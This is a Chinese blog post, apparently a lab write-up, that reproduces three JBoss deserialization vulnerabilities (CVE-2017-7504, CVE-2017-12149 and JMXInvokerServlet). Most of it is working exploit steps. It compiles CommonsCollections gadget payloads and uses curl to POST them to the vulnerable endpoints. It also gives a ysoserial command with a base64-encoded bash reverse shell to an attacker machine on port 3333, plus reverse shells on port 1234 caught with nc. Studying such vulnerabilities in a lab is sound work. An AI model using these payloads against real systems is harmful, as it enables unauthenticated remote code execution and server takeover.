【jboss漏洞复现】CVE-2017-7504反序列化漏洞+CVE-2017-12149任意代码执行漏洞+JMXInvokerServlet-deserialization反序列化漏洞


CVE-2017-7504

Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation LayerHTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

1.扫描开放了8080端口,访问8080端口:

2、利用工具选择一个Gadget:ExampleCommonsCollections1WithHashMap编译并生成序列化数据:

javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java

3.执行创建一个文件的命令:执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.ser

java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "touch /tmp/success"

4.将该文件作为body发送如下数据包:

curl http://192.168.225.139:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser

7.在靶机的/tmp/success目录下查看是否创建成功,成功即漏洞成功利用。

8.如何反弹shell:

在kali机上先编译生成序列化数据:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

9.执行反弹shell的命令:

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.225.133:1234

双引号内是我们要执行的命令,我用bash反弹一个shell到kali,这条命令会在当前目录下生成一个ExampleCommonsCollections1WithHashMap.ser文件

11.kali下执行:

curl http://192.168.225.139:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

12.nc监听1234端口,成功反弹:

有一个非常方便的使用工具:7504和12149两个漏洞都可以使用:

CVE-2017-12149

该漏洞位于JBossHttpInvoker组件中的ReadOnlyAccessFilter过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。

但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。

1.访问链接:

http://192.168.225.139:8080/invoker/readonly

可以看到是返回500,一般漏洞就是存在了。

2.如何反弹shell:

1.使用工具,老方法,先编译后写入反弹shell进行监听:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.225.133:1234

curl http://192.168.225.139:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

2.成功反弹:

JMXInvokerServlet-deserialization

1.和前面的一样,先访问以下网址,只要有文件下载,目标网站即存在JBoss JMXInvokerServlet反序列化漏洞

http://192.168.225.139:8080/invoker/JMXInvokerServlet

2.因为JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xMzMvMzMzMyAwPiYx}|{base64,-d}|{bash,-i} " >exp.ser

3.通过二进制poc将其传入到靶机:

curl http://192.168.225.139:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

4.成功反弹shell:

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值